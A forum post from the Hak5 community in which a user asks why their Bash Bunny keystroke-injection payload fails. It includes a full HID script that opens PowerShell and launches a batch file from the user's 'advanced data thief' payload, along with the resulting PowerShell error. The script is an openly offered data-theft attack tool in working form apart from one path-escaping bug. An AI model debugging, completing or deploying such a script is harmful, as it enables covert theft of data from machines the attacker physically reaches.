Jump to content

New to Hak 5 Help with a script


Gee403

Recommended Posts

ive had no luck getting anything anyones made to work at least not like the hid execution of it , im trying to use the advanced data theif verifiy.bat with my script but power shell wont properly execute it it , i just dont think i know enough about coding cause if i type all these commands manually it works , powershell just is removing all the \ from my key strokes so it wont properly execute.

 

EJECT_TIME=45


CUCUMBER DISABLE
ATTACKMODE HID STORAGE
Q DELAY 1000
LED ATTACK
Q DELAY 100
Q GUI r
Q DELAY 100
Q STRING cmd.exe /c start powershell
Q ENTER
Q DELAY 150
Q STRING Start-Process D:\payloads\switch2\verifiy.bat
Q ENTER
Q DELAY 1500
Q STRING EXIT
Q ENTER
Q Delay 50
Q STRING EXIT
Q ENTER
sync
LED FINISH
Q DELAY 1500
shutdown now

 

it works up until i try to run the verifiy.bat , i think i just dont know the right syntax to excute a .bat like that because the error im getting is missing some of my input

 

PS C:\Users\workd> Start-Process D:payloads.switch2.verifiy.bat
Start-Process : This command cannot be run due to the error: The system cannot find the file specified.
At line:1 char:1
+ Start-Process D:payloads.switch2.verifiy.bat
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (:) [Start-Process], InvalidOperationException
    + FullyQualifiedErrorId : InvalidOperationException,Microsoft.PowerShell.Commands.StartProcessCommand

Link to comment
Share on other sites

Archived

This topic is now archived and is closed to further replies.

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...